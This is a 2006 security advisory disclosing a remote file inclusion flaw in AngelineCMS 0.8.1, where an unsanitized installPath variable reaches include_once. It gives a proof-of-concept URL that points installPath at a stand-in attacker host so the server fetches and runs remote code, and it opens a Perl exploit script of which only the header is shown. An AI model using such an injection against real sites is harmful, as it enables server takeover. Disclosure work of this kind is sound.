|
\_ _____/\_ ___ \ / | \\_____ \
| __)_ / \ \// ~ \/ | \
| \\ \___\ Y / | \
/_______ / \______ /\___|_ /\_______ /
\/ \/ \/ \/
.OR.ID
ECHO_ADV_27$2006
---------------------------------------------------------------------------
[ECHO_ADV_27$2006] AngelineCMS 0.8.1 Installpath Remote File Inclusion
---------------------------------------------------------------------------
Author : M.Hasran Addahroni
Date : April, 4th 2006
Location : Indonesia, Bali
Web : http://advisories.echo.or.id/adv/adv27-K-159-2006.txt
Critical Lvl : Dangerous
---------------------------------------------------------------------------
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : AngelineCMS
version : 0.8.1
URL : http://angelinecms.info/
Description :
AngelineCMS is an open source Content Management System (CMS) and a complete Web Development Framework (Application server).
It's written from ground up to take advance of PHP5's object-oriented features.
AngelineCMS is Open Source software under OSI approved Mozilla Public License.
AngelineCMS aims for easy, innovative solutions for daily web publishing problems.
---------------------------------------------------------------------------
Proof of Concept:
~~~~~~~~~~~~~~~
Vulnerable Script: loadkernel.php in kernel folder.
---------------loadkernel.php--------------------------------
...
include_once($installPath."/kernel/common/time.php");
...
------------------------------------------------------------------
Variables $installpath are not properly sanitized.
When register_globals=on and allow_fopenurl=on an attacker can exploit this vulnerability with a simple php injection script.
Poc/Exploit:
~~~~~~~~~~~
http://www.target.com/[angelinecms_path]/kernel/loadkernel.php?installPath=http://attacker.com/evil?
Solution:
~~~~~~~~
sanitize the script code in loadkernel.php to protect this vulerability
Notification:
~~~~~~~~~~~
vendor was contact
---------------------------------------------------------------------------
Shoutz:
~~~~~~
~ y3dips,the_day,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous,kaiten
~ masterpop3,maSter-oP,Lieur-Euy,Mr_ny3m,bithedz,murp,an0maly,fleanux,baylaw
~ sinChan,x`shell,tety,sakitjiwa, m_beben, rizal, cR4SH3R, metalsploit
~ newbie_hacker@yahoogroups.com
~ #aikmel #e-c-h-o @irc.dal.net
---------------------------------------------------------------------------
Contact:
~~~~~~~
K-159 || echo|staff || eufrato[at]gmail[dot]com
Homepage: http://k-159.echo.or.id/
-------------------------------- [ EOF ] ----------------------------------
Perl Exploit:
~~~~~~~~~~~
#!/usr/bin/perl
##
# AngelineCMS 0.8.1 installpath Remote Code Execution Exploit
# Bug Found & code By K-159
# code reference from uid0/zod at ExploiterCode.com
##
# echo.or.id (c) 2006
#
##
# usage:
# perl angelineCMS.pl